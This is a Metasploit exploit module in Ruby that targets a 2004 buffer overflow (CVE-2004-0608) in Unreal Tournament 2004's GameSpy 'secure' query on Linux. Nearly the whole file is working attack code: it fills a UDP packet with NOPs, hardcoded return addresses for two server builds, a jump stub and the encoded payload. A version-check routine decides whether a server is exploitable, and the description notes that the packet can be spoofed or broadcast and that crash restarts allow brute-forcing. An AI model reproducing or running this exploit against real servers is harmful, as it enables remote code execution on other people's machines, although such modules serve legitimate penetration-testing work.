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## # $Id: ut2004_secure.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'Unreal Tournament 2004 "secure" Overflow (Linux)', 'Description'=> %q{ This is an exploit for the GameSpy secure query in the Unreal Engine. This exploit only requires one UDP packet, which can be both spoofed and sent to a broadcast address. Usually, the GameSpy query server listens on port 7787, but you can manually specify the port as well. The RunServer.sh script will automatically restart the server upon a crash, giving us the ability to bruteforce the service and exploit it multiple times. }, 'Author' => [ 'onetwo' ], 'License'=> BSD_LICENSE, 'Version'=> '$Revision: 10394 $', 'References' => [ [ 'CVE', '2004-0608'], [ 'OSVDB', '7217'], [ 'BID', '10570'], ], 'Privileged' => true, 'Payload'=> { 'Space'=> 512, 'BadChars' => "\x5c\x00", }, 'Platform' => 'linux', 'Targets'=> [ ['UT2004 Linux Build 3120', { 'Rets' => [ 0x0884a33b, 0x08963460 ] }], #JMP ESP , (free/realloc) BSS pointer ['UT2004 Linux Build 3186', { 'Rets' => [ 0x088c632f, 0x089eb2f0 ] }], ], 'DisclosureDate' => 'Jun 18 2004')) register_options( [ Opt::RPORT(7787) ], self.class) end def exploit connect_udp buf = make_nops(1024) buf[24, 4] = [target['Rets'][1]].pack('V') buf[44, 4] = [target['Rets'][0]].pack('V') buf[56, 4] = [target['Rets'][1]].pack('V') buf[48, 6] = "\x8d\x64\x24\x0c\xff\xe4" #LEA/JMP buf[0,8] = "\\secure\\" buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded udp_sock.put(buf) handler disconnect_udp end def ut_version connect_udp udp_sock.put("\\basic\\") res = udp_sock.recvfrom(8192) disconnect_udp if (res and (m=res.match(/\\gamever\\([0-9]{1,5})/))) return m[1] end return end def check vers = ut_version if (not vers) print_status("Could not detect Unreal Tournament Server") return end print_status("Detected Unreal Tournament Server Version: #{vers}") if (vers =~ /^(3120|3186|3204)$/) print_status("This system appears to be exploitable") return Exploit::CheckCode::Appears end if (vers =~ /^(2...)$/) print_status("This system appears to be running UT2003") return Exploit::CheckCode::Detected end print_status("This system appears to be patched") return Exploit::CheckCode::Safe end end |
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